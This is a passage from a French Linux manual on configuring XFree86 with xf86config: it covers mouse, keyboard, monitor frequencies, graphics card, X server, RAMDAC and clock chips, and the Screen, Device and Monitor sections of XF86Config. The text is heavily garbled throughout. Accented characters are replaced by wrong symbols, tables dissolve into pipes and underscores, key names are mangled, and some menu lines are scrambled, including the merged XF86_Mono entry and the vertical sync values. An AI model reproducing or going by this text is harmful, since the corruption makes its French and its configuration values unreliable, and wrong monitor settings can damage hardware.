α la prochaine question, activer l'Θmulation d'un troisiΦme bouton :
Please answer the following question with either 'y' or 'n'.
Do you want to enable Emulate3Buttons?
Le troisiΦme bouton est ΘmulΘ par la pression simultanΘe des deux boutons
de la souris simulant la pression du bouton central.
Il vous sera ensuite demandΘ α quelle interface votre souris est connectΘe :
Now give the full device name that the mouse is connected to, for
example /dev/tty00. Just pressing enter will use the default,
/dev/mouse. Mouse device:
Si au cours de l'installation du systΦme un port a dΘjα ΘtΘ spΘcifiΘ pour la
souris, vous devriez reprendre ici le pΘriphΘrique par dΘfaut (/dev/mouse ).
Clavier
Il vous est maintenant_demandΘ si la valeur Meta (ESC) doit Ωtre associΘe α ____
la touche |A____l|tde gauche et la valeur ModeShift (AltGr) α la touche |A____l|tde
droite :
Please answer the following question with either 'y' or 'n'.
Do you want to enable these bindings for the Alt keys?
252
___________________________________________________________________________8.2.__Configuration_avec_xf86config______________*
*______________________
Il convient ici de choisir_`y'_afin que les caractΦres du clavier accessibles_par
l'intermΘdiaire de |A_________|ltpuGrissent Ωtre tapΘs et que la touche |A____l|tde gauche
puisse Ωtre utilisΘe comme touche Meta3 .
Moniteur
Le moniteur doit maintenant Ωtre spΘcifiΘ. Le point critique est constituΘ par
la frΘquence horizontale et la frΘquence verticale. Celles-ci sont gΘnΘralement
indiquΘes dans la documentation qui accompagne votre moniteur.
_______________________________________________________________________________________________________________________||
|||||||| Une erreur lors de la spΘcification des frΘquences peut entraεner la dΘtΘrio- ||| |
|||||||| ration irrΘmΘdiable de votre moniteur ! Le systΦme X Window ne s'adresse || |
|||||||| || |
|||||||| qu'α des modes vidΘo qui utilisent le moniteur avec les frΘquences indi- || |
|||||||| quΘes. En spΘcifiant des frΘquences pour lesquelles le moniteur n'a pas ΘtΘ || |
|||||||| || |
|||||||| conτu, vous risquez de le surcharger ! || |
||||||||_______________________________________________________________________________________________________________||_
Vous pouvez aussi retrouver les paramΦtres de fonctionnement de certains
moniteurs dans le fichier /usr/X11R6/lib/X11/doc/Monitors4 .
Pour la frΘquence horizontale vous avez le choix suivant :
_______________________________________________________________________________________________________________________||||
|||||||| hsync in kHz; monitor type with characteristic modes |
|||||||| 1 31.5; Standard VGA, 640x480 @ 60 Hz |
|||||||| 2 31.5 - 35.1; Super VGA, 800x600 @ 56 Hz |
|||||||| |
|||||||| 3 31.5, 35.5; 8514 Compatible, 1024x768 @ 87 Hz interl. |
|||||||| (no 800x600) |
|||||||| 4 31.5, 35.15, 35.5; Super VGA, 1024x768 @ 87 Hz il., |
|||||||| 800x600 @ 56 Hz |
|||||||| |
|||||||| 5 31.5 - 37.9; Extended Super VGA, 800x600 @ 60 Hz, |
|||||||| 640x480 @ 72 Hz |
|||||||| 6 31.5 - 48.5; Non-Interlaced SVGA, 1024x768 @ 60 Hz, |
|||||||| |
|||||||| 800x600 @ 72 Hz |
|||||||| 7 31.5 - 57.0; High Frequency SVGA, 1024x768 @ 70 Hz |
|||||||| 8 31.5 - 64.3; Monitor that can do 1280x1024 @ 60 Hz |
|||||||| 9 31.5 - 79.0; Monitor that can do 1280x1024 @ 74 Hz |
|||||||| |
|||||||| 10 Enter your own horizontal sync range |
|||||||| Enter your choice (1-10): |
||||||||_______________________________________________________________________________________________________________ |
affichage α l'Θcran 8.2.2: FrΘquences de balayage horizontales du moniteur
Si vous ne connaissez pas les paramΦtres exacts de votre moniteur, vous de-
vriez utiliser l'une des valeurs par dΘfaut. Avec `10', vous pouvez spΘcifier
les frΘquences exactes.
AprΦs la frΘquence horizontale, il vous sera demandΘ de spΘcifier la frΘquence
verticale. Il vous sera Θgalement prΘsentΘ ici une liste de sΘlection :
Dans ce cas aussi, il est prΘfΘrable de spΘcifier les valeurs exactes plut⌠t que
de choisir l'une des options de `1' α `4'.
On vous demandera alors d'entrer un nom pour l'identification du moniteur,
Enter an identifier for your monitor definition:
le nom du constructeur,
3 ____________________________________________________
par exemple sous Emacs.
4 Ces indications sont naturellement fournies sans aucune garantie !
*
* 253
8. Le systΦme X Window____________________________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| 12 50-7050-90 *
* |
|| 3 50-100 *
* ||
| 4 40-150 *
* |
| 5 Enter your own vertical sync range *
* |
| *
* |
| *
* |
| Enter your choice (1-5): *
* |
|_______________________________________________________________________________________________________*
*________ |
affichage α l'Θcran 8.2.3: FrΘquences verticales dΘtaillΘes
Enter the vendor name of your monitor:
et le modΦle de votre moniteur
Enter the model name of your monitor:
Vous pouvez entrer ici un nom appropriΘ ou reprendre, avec |__________|EntrΘe, les
valeurs par dΘfaut. La spΘcification du moniteur est ainsi terminΘe.
Carte graphique/Serveur X
Passons maintenant α la spΘcification de la carte graphique utilisΘe :
Do you want to look at the card database?
Si vous choisissez `y' il vous sera prΘsentΘ une sΘlection de cartes graphiques
prΘconfigurΘes.
En indiquant le numΘro correspondant, vous pourrez choisir dans cette liste
une dΘfinition de carte. Vous devriez toutefois Θviter de choisir une dΘfini-
tion α l'aveuglette car mΩme des cartes du mΩme type peuvent prΘsenter des
diffΘrences au niveau du circuit d'horloge (angl. clock-chip) et du RAMDAC
(angl. Random Access Memory Digital-to-Analogue Converter).
C'est la raison pour laquelle, bien que vous ayez dΘjα choisi une dΘfinition, il
vous sera encore posΘ des questions sur le circuit d'horloge et le RAMDAC
α certaines Θtapes plus avancΘes de la configuration. Il vous sera alors prΘ-
sentΘ, comme option supplΘmentaire, un paramΦtre par dΘfaut provenant de
la dΘfinition de la carte.
Les dΘfinitions de la carte contiennent des informations sur le circuit d'hor-
loge, le RAMDAC et le serveur X α utiliser. vous trouverez le cas ΘchΘant de
prΘcieuses indications pour la manipulation de la carte dans la section Device
du fichier XF86Config.
Si la carte que vous cherchez n'est pas mentionnΘe, vous n'avez aucune rai-
son de vous inquiΘter. Dans ce cas, il est vous possible de revenir α la confi-
guration normale avec `q'. Vous ne devriez toutefois sΘlectionner une carte
graphique que si elle concorde exactement avec la carte utilisΘe ! Il n'est pas
recommandΘ de choisir une carte ayant un nom similaire. La similitude des
noms est loin de signifier que le matΘriel est Θgalement similaire : : :
Vous trouverez des informations complΘmentaires sur la configuration de la
carte graphique au paragraphe 8.3 page 259.
AprΦs la spΘcification de la carte, passons maintenant α la sΘlection du ser-
veur X. Vous pouvez choisir :
254
___________________________________________________________________________8.2.__Configuration_avec_xf86config______________*
*______________________
|||||||| |
_______________________________________________________________________________________________________________________||||
|||||||| 1 TheanXF86_Monoy server.VGThisA-acomonochromempserveratthatibshouldleworkcaonrd, in 640x480 (more on some|*
* SVGA chipsets).
||||||||| 2 The XF86_VGA16 server. This is a 16-color VGA server that should ||
|||||||| work on any VGA-compatible card. |
|||||||| 3 The XF86_SVGA server. This is a 256 color SVGA server that supports |
|||||||| a number of SVGA chipsets. It is accelerated on some Cirrus and WD |
|||||||| |
|||||||| chipsets; it supports 16/32-bit color on certain Cirrus |
|||||||| configurations. |
|||||||| 4 The accelerated servers. These include XF86_S3, XF86_Mach32, |
|||||||| XF86_Mach8, XF86_8514, XF86_P9000, XF86_AGX, XF86_W32 and |
|||||||| |
|||||||| XF86_Mach64. |
|||||||| |
|||||||| These four server types correspond to the four different "Screen" |
|||||||| |
|||||||| sections in XF86Config (vga2, vga16, svga, accel). |
|||||||| |
|||||||| 5 Choose the server from the card definition, XF86_S3. |
|||||||| |
|||||||| |
|||||||| Which one of these four screen types do you intend to run |
|||||||| by default (1-4)? |
||||||||_______________________________________________________________________________________________________________ |
affichage α l'Θcran 8.2.4: SΘlection du serveur X
1 Un serveur pour moniteurs monochromes. Il devrait fonctionner avec n'im-
porte quelle carte graphique compatible VGA et fournir au moins une
rΘsolution de 640x480 pixels.
2 Le serveur 16 couleurs XF86`VGA16. Il devrait fonctionner avec n'im-
porte quelle carte graphique compatible VGA.
3 Le serveur SVGA XF86`SVGA. Ce serveur 256 couleurs supporte un
grand nombre de cartes SVGA. Certaines cartes Cirrus et WD permettent
l'accΘlΘration de l'affichage en mode graphique. Avec certaines cartes
Cirrus il est Θgalement possible d'activer le mode couleur 16 bits ou
32 bits.
4 Serveur pour cartes graphiques accΘlΘratrices. Vous avez ici le choix entre
plusieurs serveurs (voir affichage 8.2.4).
5 Cette option n'est prΘsente que dans le cas o∙ une dΘfinition de carte a
ΘtΘ spΘcifiΘe dans la sΘlection prΘcΘdente. On vous propose ici le serveur
appropriΘ α la carte sΘlectionnΘe.
Si vous avez sΘlectionnΘ un serveur, on vous demande alors si un lien symbo-
lique pointant du serveur sur /usr/X11R6/bin/X doit Ωtre ΘditΘ. Si vous rΘ-
pondez `y', il vous sera demandΘ si le lien doit Ωtre crΘΘ dans /var/X11R6/
bin :
Do you want to set it in /var/X11R6/bin?
Vous devez absolument rΘpondre α cette question par l'affirmative car il peut
arriver qu'il ne soit pas possible d'Θcrire sur l'arborescence /usr.
Ensuite, il apparaεt Θventuellement (si plus haut vous avez sΘlectionnΘ `4') un
menu qui vous propose les serveurs X disponibles pour les cartes graphiques
accΘlΘratrices :
Chacun de ces serveurs supporte la carte correspondante. La crΘation du lien
requiert l'installation prΘalable du serveur adΘquat. Cela signifie que ce ser-
*
* 255
8. Le systΦme X Window____________________________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||||
| Select an accel server: *
* |
|| 1 XF86_S3 *
* ||
| 2 XF86_Mach32 *
* |
| 3 XF86_Mach8 *
* |
| 4 XF86_8514 *
* |
| *
* |
| 5 XF86_P9000 *
* |
| 6 XF86_AGX *
* |
| 7 XF86_W32 *
* |
| *
* |
| 8 XF86_MACH64 *
* |
| *
* |
| Which accel server: *
* |
|_______________________________________________________________________________________________________*
*________ |
affichage α l'Θcran 8.2.5: Serveurs X pour cartes accΘlΘratrices
veur doit dΘjα avoir ΘtΘ sΘlectionnΘ lors de l'installation du systΦme X Win-
dow.
AprΦs la sΘlection du serveur X, la carte graphique doit encore Ωtre spΘcifiΘe
de faτon plus prΘcise. On vous demandera tout d'abord quelle est la quantitΘ
de mΘmoire de votre carte :
________________________________________________________________________________________________________*
*________||
| How much video memory do you have on your video card: *
* |
| *
* |
| 1 256K *
* |
| 2 512K *
* |
| *
* |
| 3 1024K *
* |
| 4 2048K *
* |
| 5 4096K *
* |
| 6 Other *
* |
| *
* |
| *
* |
| Enter your choice: *
* |
|_______________________________________________________________________________________________________*
*________ |
affichage α l'Θcran 8.2.6: SpΘcification de la mΘmoire vidΘo
Ensuite, il vous sera demandΘ le nom, le constructeur et le type_de_votre carte.
Si une carte a ΘtΘ sΘlectionnΘe, il vous suffit d'appuyer sur |_____-|.
Enter an identifier for your video card definition:
Enter the vendor name of your video card:
Enter the model (board) name of your video card:
Si le serveur X que vous avez choisi est un serveur pour cartes accΘlΘratrices,
il vous sera demandΘ quel est le RAMDAC de votre carte. Ceci n'a d'impor-
tance que pour les serveurs S3 et AGX.
Dans la majeure partie des cas, il est prΘfΘrable de presser la touche |E__________|ntrΘe
sans faire aucune sΘlection. Si vous avez choisi une carte qui supporte un
RAMDAC dΘterminΘ, ceci sera affichΘ et c'est cette sΘlection que vous devrez
faire.
AprΦs avoir rΘpondu α ces questions, vous pourrez Θventuellement sΘlection-
ner le circuit d'horloge pour les cartes accΘlΘratrices. La sΘlection d'un circuit
d'horloge rend superflues les lignes de valeurs d'horloge car les frΘquences
d'horloge nΘcessaires peuvent Ωtre programmΘes :
256
___________________________________________________________________________8.2.__Configuration_avec_xf86config______________*
*______________________||
|||||||| |
_______________________________________________________________________________________________________________________||
|||||||| 1 AT&T 20C490 (S3 server) att20c490 |
|||||||| 2 AT&T 20C498/21C498/22C498 (S3) att20c498 |
|||||||| |
|||||||| 3 AT&T 20C505 (S3) att20c505 |
|||||||| 4 BrookTree BT481 (AGX) bt481 |
|||||||| 5 BrookTree BT482 (AGX) bt482 |
|||||||| 6 BrookTree BT485/9485 (S3) bt485 |
|||||||| |
|||||||| 7 Sierra SC15025 (S3, AGX) sc15025 |
|||||||| 8 S3 GenDAC (86C708) (autodetected) s3gendac |
|||||||| 9 S3 SDAC (86C716) (autodetected) s3_sdac |
|||||||| 10 STG-1700 (S3) stg1700 |
|||||||| |
|||||||| 11 TI 3020 (S3) ti3020 |
|||||||| 12 TI 3025 (S3) ti3025 |
|||||||| 13 TI 3020 (S3, autodetected) ti3020 |
|||||||| 14 TI 3025 (S3, autodetected) ti3025 |
|||||||| |
|||||||| 15 TI 3026 (S3, autodetected) ti3026 |
|||||||| 16 IBM RGB 514 (S3, autodetected) ibm_rgb514 |
|||||||| 17 IBM RGB 524 (S3, autodetected) ibm_rgb524 |
|||||||| 18 IBM RGB 525 (S3, autodetected) ibm_rgb525 |
|||||||| |
|||||||| 19 IBM RGB 526 (S3) ibm_rgb526 |
|||||||| 20 IBM RGB 528 (S3, autodetected) ibm_rgb528 |
|||||||| 21 ICS5342 (S3, ARK) ics5342 |
|||||||| |
|||||||| 22 ICS5341 (W32) ics5341 |
|||||||| 23 IC Works w30C516 ZoomDac (ARK) zoomdac |
|||||||| 24 Normal DAC normal |
||||||||_______________________________________________________________________________________________________________ |
affichage α l'Θcran 8.2.7: SpΘcification du RAMDAC
_______________________________________________________________________________________________________________________||||
|||||||| 1 Chrontel 8391 ch8391 |
|||||||| 2 ICD2061A and compatibles (ICS9161A, DCS2824) icd2061a |
|||||||| 3 ICS2595 ics2595 |
|||||||| 4 ICS5342 (similar to SDAC, but not completely compatible) |
|||||||| |
|||||||| ics5342 |
|||||||| 5 ICS5341 ics5341 |
|||||||| 6 S3 GenDAC (86C708) and ICS5300 (autodetected) s3gendac |
|||||||| |
|||||||| 7 S3 SDAC (86C716) s3_sdac |
|||||||| 8 STG 1703 (autodetected) stg1703 |
|||||||| 9 Sierra SC11412 sc11412 |
|||||||| 10 TI 3025 (autodetected) ti3025 |
|||||||| |
|||||||| 11 TI 3026 (autodetected) ti3026 |
|||||||| 12 IBM RGB 51x/52x (autodetected) ibm_rgb5xx |
||||||||_______________________________________________________________________________________________________________ |
affichage α l'Θcran 8.2.8: SpΘcification du circuit d'horloge
Si vous utilisez une_carte_graphique_sans circuit d'horloge, il vous suffit de
presser la touche |_________E|ntrΘepour ne pas sΘlectionner de circuit d'horloge. Si une
carte graphique a ΘtΘ choisie dans le menu de sΘlection, le circuit d'horloge,
si celui-ci existe, sera automatiquement affichΘ.
Si aucun circuit d'horloge n'a ΘtΘ sΘlectionnΘ, xf86config vous proposera de
lancer X -probeonly afin de dΘterminer les synchronisations (angl. timings)
supportΘes par la carte. Celles-ci seront inscrites dans une ligne Clocks (ligne
de valeurs d'horloge) du fichiers XF86Config.
Il s'impose ici de prΘciser pourquoi les synchronisations dΘterminΘes auto-
matiquement peuvent s'avΘrer trΦs dangereuses : Si la carte graphique est
dotΘe d'un circuit d'horloge programmable le serveur X ne peut pas, lors de
la dΘtection, basculer entre les diffΘrentes frΘquences d'horloge (angl. clocks)
*
* 257
8. Le systΦme X Window____________________________________________________________________________________________________________*
*_______________________________________@
de la carte et ne reconnaεt alors que les clocks 0, 1 et occasionnellement 2.
Toutes les autres valeurs sont plus ou moins dues au hasard (en gΘnΘral les
valeurs des clocks 0, 1 et 2 se rΘpΦtent et sont remplacΘes par des zΘros).
Toutes les valeurs, α l'exception de celles des clocks 0 et 1, dΘpendent dans
une trΦs large mesure de la programmation initiale du circuit d'horloge. La
clock 2 peut trΦs bien avoir, au moment de la dΘtection, une autre valeur
(inscrite dans le fichier XF86Config) que lors d'un dΘmarrage ultΘrieur du
serveur X. Toutes les synchronisations sont alors erronΘes et le moniteur
risque d'Ωtre endommagΘ.
Un indice permettant de reconnaεtre un circuit d'horloge programmable (et
les problΦmes qui en dΘcoulent) est la prΘsence de toute une sΘrie de zΘros ou
de valeurs de synchronisation se rΘpΦtant continuellement. De telles valeurs
ne doivent en aucun cas Ωtre inscrites dans le fichier XF86Config !
Il est donc conseillΘ, lors de la dΘtermination des circuits d'horloge ou des
synchronisations, d'adopter la stratΘgie suivante :
~ SpΘcifiez de prΘfΘrence un circuit d'horloge programmable s'il
en existe un. Il sera alors programmΘ en consΘquence et le fichier
XF86Config ne contiendra pas de valeurs de frΘquences. Mais vous
pouvez aussi comparer les circuits d'horloge de la carte avec ceux pro-
posΘs dans le menu et trouver ainsi celui qui convient. Presque toutes les
cartes S3 modernes sont dotΘes d'un circuit d'horloge programmable.
~ Si votre carte graphique n'a pas de circuit d'horloge programmable,
lancez alors X -probeonly et comparez (α un moment o∙ votre machine
ne fonctionne pas α plein rendement) les valeurs d'horloge qui ont ΘtΘ
dΘterminΘes avec celles mentionnΘes dans la documentation qui accom-
pagne votre carte graphique. Si les valeurs concordent approximativement
( 2), inscrivez-les dans le fichier XF86Config.
Si rien n'est mentionnΘ dans votre documentation, vous pouvez dΘter-
miner les valeurs de synchronisation avec X -probeonly (si possible
lorsque votre machine n'est pas trop chargΘe). VΘrifiez si les valeurs re-
connues sont correctes car certaines cartes ne permettent pas de recon-
naεtre les valeurs d'horloge (de nombreux zΘros ou des valeurs se rΘpΘ-
tant continuellement donnent tout lieu de penser que les valeurs ne sont
pas correctes). Inscrivez ensuite vous-mΩme les valeurs exactes dans le
fichier XF86Config. N'omettez aucune des valeurs et n'essayez pas d'en
changer l'ordre ni de les modifier de quelque maniΦre que ce soit. Les
valeurs doivent Ωtre inscrites exactement dans le mΩme ordre.
Si vous utilisez le serveur P9000 vous devez simplement spΘcifier, dans la
ligne Clocks , la frΘquence que vous souhaitez pour chaque mode. Cette
fois-ci, l'ordre des entrΘes n'a aucune importance.
~ On applique en gΘnΘral la rΦgle suivante : Avec les circuits d'horloge
programmables, il ne doit pas y avoir de ligne Clocks (ligne de valeurs
d'horloge) dans le fichier XF86Config (exception P9000).
Pour les cartes sans circuit d'horloge programmable il devrait y avoir
une ligne Clocks dans le fichier XF86Config. Ceci permet d'Θviter la
recherche automatique fastidieuse et parfois dangereuse des frΘquences
α chaque dΘmarrage du systΦme X Window. Il n'y a alors aucune valeur
258
___________________________________________8.3.__Optimisation_de_l'installation_du_systΦme_X_Window_________________________*
*______________________
erronΘe pour les cartes dont les frΘquences ne sont pas lisibles et votre
moniteur ne court aucun risque.
Si maintenant (aprΦs avoir pris connaissance des paragraphes prΘcΘdents)
vous souhaitez que les frΘquences soient reconnues automatiquement, vous
devez rΘpondre `y' α la question :
Do you want me to run 'X -probeonly' now?
L'Θcran deviendra noir pour un bref laps de temps et il apparaεtra ensuite une
liste des frΘquences ou un message vous faisant savoir qu'aucune frΘquence
n'a ΘtΘ reconnue. Si vous avez choisi un circuit d'horloge, il ne vous sera
pas demandΘ si X -probeonly doit Ωtre lancΘ car les frΘquences sont alors
programmΘes automatiquement. Dans ce cas, vous passerez directement α la
prochaine phase de la configuration.
_______________________________________________________________________________________________________________________||
|||||||| Si vous avez rΘpondu `y' α la derniΦre question et si l'Θcran reste sombre ||| |
|||||||| plus de 30 secondes, vous devriez absolument interrompre la procΘdure || |
|||||||| ______ ____ ___ ______ _ || |
|||||||| avec |______C|trl+|A____l|t+|____| ou avec |______C|trl+|c_ |! Le cas ΘchΘant, vous devrez| |
|||||||| mΩme Θteindre l'ordinateur et le moniteur afin de ne pas faire courir de || |
|||||||| || |
|||||||| risque α votre matΘriel ! || |
||||||||_______________________________________________________________________________________________________________||_
Sauvegarde de la configuration
La configuration est maintenant terminΘe, mais le fichier de configuration
doit encore Ωtre sauvegardΘ. Il est conseillΘ de stocker le fichier de configu-
ration X~Window XF86Config dans le rΘpertoire /etc. Il est ainsi garanti
que chaque machine dans un environnement rΘseau possΦde son ``propre'' fi-
chier de configuration mΩme si plusieurs machines se partagent le systΦme de
fichiers /usr.
Vous devrez spΘcifier ici `/etc/XF86Config' !
L'exΘcution du programme xf86config et la configuration du systΦme X Win-
dow sont ainsi terminΘes.
8.3 Optimisation de l'installation du systΦme X Window
Les programmes XF86Setup et xf86config crΘent le fichier XF86Config de
faτon standard dans le rΘpertoire /etc. C'est le fichier de configuration pri-
maire pour le systΦme X Window . Vous trouverez ici les paramΦtres concer-
nant la souris, le moniteur et la carte graphique.
XF86Config est divisΘ en plusieurs sections se rapportant chacune α un
aspect de la configuration. Une section a toujours cette forme :
Section <Nom de la section>
entrΘe 1
entrΘe 2
entrΘe n
EndSection
Il existe diffΘrents types de sections :
*
* 259
8. Le systΦme X Window____________________________________________________________________________________________________________*
*_______________________________________@
_______________________________________________________________________________________________________*
*_________
Files Cette section dΘcrit les chemins utilisΘs pour les polices
de caractΦres et la table des couleurs RGB.
ServerFlags C'est ici que sont spΘcifiΘs les commutateurs gΘnΘraux.
Keyboard Sert α la description du clavier et du pilote que vous
utilisez. Sous Linux, il ne peut s'agir que de Device
"Standard".
Pointer Donne les dΘfinitions nΘcessaires pour les dispositifs
de pointage utilisΘs. En gΘnΘral ce sera une souris,
mais il peut trΦs bien s'agir aussi d'un LightPen ou
d'une tablette graphique. Il est essentiel de spΘcifier le
Protocol et le Device .
Monitor DΘcrit le moniteur utilisΘ. Les ΘlΘments de cette sec-
tion sont constituΘs par un nom auquel il est fait rΘfΘ-
rence lors de la dΘfinition de l'Θcran (Screen ) ainsi que
par la description de la largeur de bande (Bandwidth )
et des frΘquences de synchronisation (HorizSync et
VertRefresh ). Les spΘcifications se font en MHz, kHz
ou Hz. Le serveur refuse toute modeline qui ne corres-
pond pas α la spΘcification du moniteur. Ceci permet
d'Θviter qu'il soit transmis par inadvertance des frΘ-
quences trop ΘlevΘes au moniteur si vous vous livrez
α quelques expΘriences sur les modelines.
Device Cette section dΘfinit une carte graphique dΘterminΘe.
Elle est rΘfΘrencΘe par le nom spΘcifiΘ.
Screen Cette section rΘunit une section Driver , (par exemple
vga2 ou accel ), une section Monitor et une section
Device . Cet ensemble fournit les paramΦtres indispen-
sables pour XFree86. La sous-section Display permet
de dΘterminer la taille de l'Θcran virtuel (Virtual ), de
spΘcifier la fenΩtre d'affichage (ViewPort ) et les Modes
utilisΘs avec cet Θcran.
_______________________________________________________________________________________________________*
*_________
Tab. 8.1: Sections dans /etc/XF86Config
Nous allons examiner de plus prΦs les sections Monitor , Device et Screen .
Vous trouverez dans la page de man de XFree86 (man XFree86 ) des infor-
mations sur les autres sections
Le fichier XF86Config peut contenir plusieurs sections Monitor et Device .
Il est Θgalement possible qu'il contienne plusieurs sections Screen ; la sec-
tion utilisΘe dΘpend du serveur qui a ΘtΘ lancΘ.
Section Screen
Voyons tout d'abord la section Screen . Celle-ci rΘunit, comme nous l'avons
dΘjα dit, une section Monitor et une section Device et dΘtermine quelles
260
___________________________________________8.3.__Optimisation_de_l'installation_du_systΦme_X_Window_________________________*
*______________________
rΘsolutions doivent Ωtre combinΘes α quelle profondeur de couleurs.
Une section|Screen| peut ressembler, par exemple, α celle du fichier 8.3.1. |
_______________________________________________________________________________________________________________________||||
|||||||| Section "Screen" |
|||||||| Driver "accel" |
|||||||| Device "Miro Crystal 40SV" |
|||||||| Monitor "EIZO T563-T" |
|||||||| |
|||||||| DefaultColorDepth 16 |
|||||||| Subsection "Display" |
|||||||| Depth 8 |
|||||||| Modes "1024x768" "800x600" "640x480" |
|||||||| |
|||||||| ViewPort 0 0 |
|||||||| Virtual 1024 768 |
|||||||| EndSubsection |
|||||||| Subsection "Display" |
|||||||| |
|||||||| Depth 16 |
|||||||| Modes "1280x960" "1152x864" "1024x768" "800x600" |
|||||||| ViewPort 0 0 |
|||||||| Virtual 1280 960 |
|||||||| |
|||||||| EndSubsection |
|||||||| Subsection "Display" |
|||||||| Depth 32 |
|||||||| Modes "1024x768" "800x600" "640x480" |
|||||||| |
|||||||| ViewPort 0 0 |
|||||||| Virtual 1024 768 |
|||||||| EndSubsection |
|||||||| EndSection |
||||||||_______________________________________________________________________________________________________________ |
fichier 8.3.1: La section Screen du fichier /etc/XF86Config
La ligne Driver dΘtermine le serveur X auquel doit s'appliquer cette dΘfini-
tion. Les serveurs ΘnumΘrΘs dans la liste de la page 255 sont spΘcifiΘs α l'aide
de mots-clΘs dans le tableau 8.2.
______________________________________________________________________________________________________________________
Accel Serveurs spΘciaux accΘlΘrΘs pour cartes accΘlΘratrices
Mono Serveurs non VGA 1 et 4 bits
SVGA Super serveur VGA
VGA2 Serveur VGA (monochrome) 1 bit
VGA16 Serveur VGA 4 bits
______________________________________________________________________________________________________________________
Tab. 8.2: Mots clΘs pour serveurs X dans /etc/XF86Config
Le fichier XF86Config peut contenir, pour chaque serveur, une section
Screen utilisΘe lorsque le serveur correspondant est lancΘ.
Les deux lignes suivantes, Device et Monitor , dΘsignent la carte graphique
et le moniteur auxquels se rapporte cette dΘfinition. Il ne s'agit que de rΘfΘ-
rences aux sections Device et Monitor avec les noms correspondants. Ces
sections seront traitΘes plus loin de faτon plus dΘtaillΘe.
└ l'aide du mot-clΘ DefaultColorDepth , vous pouvez choisir la profondeur
de couleurs avec laquelle le serveur sera lancΘ dans le cas o∙ celle-ci n'est pas
*
* 261
8. Le systΦme X Window____________________________________________________________________________________________________________*
*_______________________________________@
spΘcifiΘe de faτon explicite au dΘmarrage.
Il apparaεt ensuite, pour chaque profondeur de couleurs, une sous-section
Display . La profondeur de couleurs α laquelle se rapporte la sous-section
est dΘfinie par le mot-clΘ Depth . Les valeurs possibles pour Depth sont 8,
15, 16, 24 et 32. Ces valeurs ne sont pas supportΘes par tous les serveurs X.
En principe, 24 et 32 sont Θquivalentes pour beaucoup de cartes mais pour
d'autres, 24 indique le mode ``packed pixel'' 24 bpp et 32 le mode ``padded
pixel'' 24 bpp.
AprΦs le choix de la profondeur de couleurs, il est Θtabli, avec Modes , une
liste de rΘsolutions qui est parcourue par le serveur X de gauche α droite. Il
est recherchΘ, pour chaque rΘsolution, une modeline adΘquate qui concorde
avec l'une des frΘquences d'horloge spΘcifiΘes dans la section Monitor ou
avec une frΘquence d'horloge pouvant Ωtre utilisΘe pour programmer la carte.
La premiΦre rΘsolution qui s'avΦre appropriΘe est celle avec laquelle le ser-
veur X est_lancΘ_(c'est ce_que_l'on_appelle_le mode par dΘfaut ). Avec les
touches |C______|trl+ |A____l|t+_|G_________|ris,_+vous_pouvez_vous dΘplacer vers le c⌠tΘ droit
de la liste et avec | ______C|trl+ | ____A|lt+ | __________G|risvers le c⌠tΘ gauche. La rΘsolu-
tion de l'Θcran peut ainsi Ωtre modifiΘe au cours de l'exΘcution du systΦme
X Window.
Les deux derniΦres lignes des sous-sections concernent la taille de l'Θcran
virtuel et l'insertion dans celui-ci de la portion visible de l'Θcran physique.
La taille de l'Θcran virtuel dΘpend de la mΘmoire de la carte graphique et de
la profondeur de couleurs dΘsirΘe mais elle est indΘpendante de la rΘsolution
maximale du moniteur. Si la carte possΦde par exemple 1 MB de RAM vidΘo,
l'Θcran virtuel peut atteindre une taille de 1024/1024 pixels pour une profon-
deur de couleurs d'une valeur de 8 bits. Il est expressΘment recommandΘ, tout
particuliΦrement avec les serveurs accΘlΘrΘs, de ne pas utiliser la totalitΘ de la
mΘmoire de la carte graphique pour l'Θcran virtuel car la zone de mΘmoire
encore disponible sur la carte graphique peut servir pour diffΘrents caches de
jeux de caractΦres et zones graphiques.
La taille de l'Θcran virtuel est spΘcifiΘe avec Virtual
Viewport dΘtermine la fenΩtre d'affichage. C'est le point sur lequel l'angle
supΘrieur gauche de la portion visible de l'Θcran physique est projetΘ sur
l'Θcran virtuel. Une valeur de 0 0 signifie que les deux angles gauches su-
pΘrieurs sont placΘs au dΘpart l'un sur l'autre. La portion visible est dΘplacΘe
sur l'Θcran virtuel par un mouvement du pointeur de la souris sur le bord de
l'Θcran. La fenΩtre d'affichage (angl. viewport) n'a donc d'importance que
lors du lancement du systΦme X Window et seulement dans le cas o∙ la taille
de l'Θcran virtuel ne concorderait pas avec la rΘsolution rΘelle.
Section Device
Une section Device dΘcrit une carte graphique prΘcise. XF86Config peut
contenir n'importe quel nombre de sections Device α condition que leurs
noms, spΘcifiΘs α l'aide du mot-clΘ Identifier se distinguent.
Il ne semble pas utile de dΘcrire ici la section Device de faτon dΘtaillΘe. Vous
pouvez toutefois vous reporter α la documentation ~ rΘdigΘe malheureusement
262
___________________________________________8.3.__Optimisation_de_l'installation_du_systΦme_X_Window_________________________*
*______________________
en anglais ~ du fichier /usr/X11/lib/X11/doc et α la page de man de
XFree86 (man XFree86 ).
Le rΘpertoire /usr/X11R6/lib/X11/doc/Devices contient toute une sΘrie
de sections Device . Si l'une des cartes mentionnΘes est utilisΘe, la section
Device correspondante doit Ωtre insΘrΘe dans le fichier /etc/XF86Config
et la section Screen doit Ωtre modifiΘe en consΘquence par l'ajout du pΘri-
phΘrique correspondant.
Si la carte recherchΘe n'est pas dans la liste, cela ne signifie pas qu'elle n'est
pas supportΘe par XFree86 ! Il est tout simplement possible que personne n'ait
encore envoyΘ de section Device pour cette carte α l'Θquipe XFree86. Une
liste des cartes supportΘes se trouve dans le fichier README contenu dans le
rΘpertoire /usr/X11/lib/X11/doc ; dans le fichier AccelCards les cartes
accΘlΘratrices sont dΘtaillΘes encore une fois de faτon plus prΘcise.
Section Monitor
Les sections Monitor, en analogie avec les sections Device, dΘcrivent cha-
cune un moniteur. Le fichier /etc/XF86Config peut contenir n'importe quel
nombre de sections Monitor portant des noms diffΘrents. Il est prΘcisΘ dans
la section Screen quelle section Monitor est dΘterminante.
Pour la dΘfinition du moniteur, plus encore que pour la description de la carte
graphique, la crΘation d'une section Monitor ne devrait Ωtre entreprise que
par des utilisateurs possΘdant une certaine expΘrience. Un ΘlΘment essentiel
de la section Monitor est constituΘ par les ``modelines'' dans lesquelles sont
spΘcifiΘes les synchronisations horizontales et verticales pour la rΘsolution
utilisΘe.
_______________________________________________________________________________________________________________________
|||||||| || |
|||||||| Aucune modification ne devrait Ωtre apportΘe aux modelines sans une || |
